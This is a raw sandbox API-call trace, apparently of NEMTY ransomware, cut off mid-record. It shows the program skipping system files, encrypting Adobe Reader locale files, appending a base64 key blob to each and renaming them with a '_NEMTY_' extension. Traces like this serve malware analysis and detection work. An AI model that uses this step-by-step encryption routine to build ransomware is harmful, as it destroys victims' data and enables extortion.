WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.DEU", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.DEU", lpUsedDefaultChar=0x0) returned 8 [0175.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.162] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.DEU", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.162] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.DEU", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.DEU", lpUsedDefaultChar=0x0) returned 8 [0175.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.162] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.DEU", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.162] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.DEU", cchWideChar=8, lpMultiByteStr=0x653e8e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.DEU", lpUsedDefaultChar=0x0) returned 8 [0175.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.162] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.DEU", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.162] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.DEU", cchWideChar=8, lpMultiByteStr=0x653e918, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.DEU", lpUsedDefaultChar=0x0) returned 8 [0175.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0175.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0175.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0175.162] Sleep (dwMilliseconds=0x5) [0175.171] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c0e7490, dwHighDateTime=0x1d561e8)) [0175.171] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c0e7490, dwHighDateTime=0x1d561e8)) [0175.171] GetLastError () returned 0x0 [0175.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.171] GetLastError () returned 0x0 [0175.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.171] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.171] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0175.171] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0175.171] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0175.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0175.171] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="X5MyjWxyvLydY+LoJolOEFdYuhDn7orypRYhpEReL50SFwYpDZo/W1HP59tE5QXH\r\nVRRv6L3gBwVlFLomy1SqghYV76HbJKuFD/s6In5DvRXJ9VFgZv7LNgiQRb0QH0FQ\r\n80SnOXmg60tB21d7q66XAa1+93+fCeqF93qtV591X6ahowt4jdeZWMUUIztLiasl\r\nHdqNEENUpr6Sbvha+zfjRoxzdOLsMwC8W/n2tPz+A+3nwIIiN4GryB0XGVvSmYrw\r\nfk/SRmz+1/xxhqeThpWg0kb8ftKUKO1ehZpGJv2WL5u89+GkUciL1v4U8Pg4SgjH\r\n6Y4kpyeX2D+qMGC0ad1uYg==\r\n", pcchString=0x653e5dc) returned 1 [0175.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0175.171] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.171] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0175.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0175.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0175.171] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\IA32.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\ia32.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0175.173] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=3584) returned 1 [0175.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe00) returned 0x634ad48 [0175.173] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.173] ReadFile (in: hFile=0x2e8, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e824*=0xe00, lpOverlapped=0x0) returned 1 [0175.175] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.175] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e81c*=0xe00, lpOverlapped=0x0) returned 1 [0175.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0175.175] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=3584, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe00 [0175.175] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0175.175] CloseHandle (hObject=0x2e8) returned 1 [0175.175] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0175.175] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0175.175] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.175] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0175.175] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0175.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0175.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0175.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.176] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\IA32.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\ia32.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\IA32.DEU._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\ia32.deu._nemty_kgobjgd_")) returned 1 [0175.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0175.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0175.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0175.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0175.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0175.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0175.176] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da43100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14400, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="makeaccessible.DEU", cAlternateFileName="MAKEAC~1.DEU")) returned 1 [0175.176] lstrcmpiW (lpString1="makeaccessible.DEU", lpString2=".") returned 1 [0175.176] lstrcmpiW (lpString1="makeaccessible.DEU", lpString2="..") returned 1 [0175.176] lstrcmpiW (lpString1="makeaccessible.DEU", lpString2="...") returned 1 [0175.176] lstrcmpiW (lpString1="makeaccessible.DEU", lpString2="windows") returned -1 [0175.176] lstrcmpiW (lpString1="makeaccessible.DEU", lpString2="$RECYCLE.BIN") returned 1 [0175.177] lstrcmpiW (lpString1="makeaccessible.DEU", lpString2="rsa") returned -1 [0175.177] lstrcmpiW (lpString1="makeaccessible.DEU", lpString2="NTDETECT.COM") returned -1 [0175.177] lstrcmpiW (lpString1="makeaccessible.DEU", lpString2="ntldr") returned -1 [0175.177] lstrcmpiW (lpString1="makeaccessible.DEU", lpString2="MSDOS.SYS") returned -1 [0175.177] lstrcmpiW (lpString1="makeaccessible.DEU", lpString2="IO.SYS") returned 1 [0175.177] lstrcmpiW (lpString1="makeaccessible.DEU", lpString2="boot.ini") returned 1 [0175.177] lstrcmpiW (lpString1="makeaccessible.DEU", lpString2="boot.ini") returned 1 [0175.177] lstrcmpiW (lpString1="makeaccessible.DEU", lpString2="AUTOEXEC.BAT") returned 1 [0175.177] lstrcmpiW (lpString1="makeaccessible.DEU", lpString2="ntuser.dat") returned -1 [0175.177] lstrcmpiW (lpString1="makeaccessible.DEU", lpString2="desktop.ini") returned 1 [0175.177] lstrcmpiW (lpString1="makeaccessible.DEU", lpString2="CONFIG.SYS") returned 1 [0175.177] lstrcmpiW (lpString1="makeaccessible.DEU", lpString2="RECYCLER") returned -1 [0175.177] lstrcmpiW (lpString1="makeaccessible.DEU", lpString2="BOOTSECT.BAK") returned 1 [0175.177] lstrcmpiW (lpString1="makeaccessible.DEU", lpString2="bootmgr") returned 1 [0175.177] lstrcmpiW (lpString1="makeaccessible.DEU", lpString2="programdata") returned -1 [0175.177] lstrcmpiW (lpString1="makeaccessible.DEU", lpString2="appdata") returned 1 [0175.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0175.177] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.DEU", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0175.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.177] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.DEU", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.DEU", lpUsedDefaultChar=0x0) returned 18 [0175.177] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0175.177] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.DEU", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0175.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.177] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.DEU", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.DEU", lpUsedDefaultChar=0x0) returned 18 [0175.177] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.177] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0175.177] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0175.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0175.177] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.DEU", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0175.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.177] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.DEU", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.DEU", lpUsedDefaultChar=0x0) returned 18 [0175.177] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0175.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0175.178] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.DEU", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0175.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.178] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.DEU", cchWideChar=18, lpMultiByteStr=0x4f9ed58, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.DEU", lpUsedDefaultChar=0x0) returned 18 [0175.178] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0175.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0175.178] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0175.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0175.178] Sleep (dwMilliseconds=0x5) [0175.186] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c10d5f0, dwHighDateTime=0x1d561e8)) [0175.186] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c10d5f0, dwHighDateTime=0x1d561e8)) [0175.186] GetLastError () returned 0x0 [0175.186] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.186] GetLastError () returned 0x0 [0175.186] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.186] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.186] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0175.186] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0175.186] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0175.186] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0175.186] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0175.186] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="h3sf1Wv8eOJ8sgpJNTaVHAdzdvbr0n0b5NTZoISVkG33ldz8KMMW8huaNIwaROXb\r\nI53eV/hRb9oAJRF0R5NABu1tjYU4MbV5EHe8cfF5Y9vx74JtqcPnLZFAWe/HDAih\r\nH/1szXyOSnCjbn0zStWUyk6cU60K706kVSM4Vf3+7cRGhHSsaN01C19A9jJOUAsh\r\n6i29s5AK36u2JAW/I493iB1ryicCpp+oPnn2whoR4LhLoswT71sXICnVbdBTLhmR\r\nACb1rWgvem3FneWECdGzogXv+KDw43Cpl5GTo1SPEzCSQJl3iBLpAIW0pdfIJcYw\r\n2x2qEWVYaPe47m42y4mJrQ==\r\n", pcchString=0x653e5dc) returned 1 [0175.186] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0175.186] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.186] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0175.186] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0175.186] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0175.186] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0175.186] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\makeaccessible.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\makeaccessible.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0175.187] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=82944) returned 1 [0175.187] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14400) returned 0x6352c48 [0175.187] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.187] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x14400, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x14400, lpOverlapped=0x0) returned 1 [0175.194] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.194] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x14400, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x14400, lpOverlapped=0x0) returned 1 [0175.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0175.194] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=82944, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14400 [0175.194] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0175.195] CloseHandle (hObject=0x2e8) returned 1 [0175.195] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0175.195] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0175.195] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0175.195] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0175.195] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0175.195] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0175.195] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340308 [0175.195] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403c0 [0175.195] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0175.195] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0175.195] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\makeaccessible.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\makeaccessible.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\makeaccessible.DEU._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\makeaccessible.deu._nemty_kgobjgd_")) returned 1 [0175.195] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403c0 | out: hHeap=0x4f90000) returned 1 [0175.195] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0175.195] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0175.195] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.196] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0175.196] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0175.196] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.196] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.196] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.196] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.196] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d723420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Multimedia.DEU", cAlternateFileName="MULTIM~1.DEU")) returned 1 [0175.196] lstrcmpiW (lpString1="Multimedia.DEU", lpString2=".") returned 1 [0175.196] lstrcmpiW (lpString1="Multimedia.DEU", lpString2="..") returned 1 [0175.196] 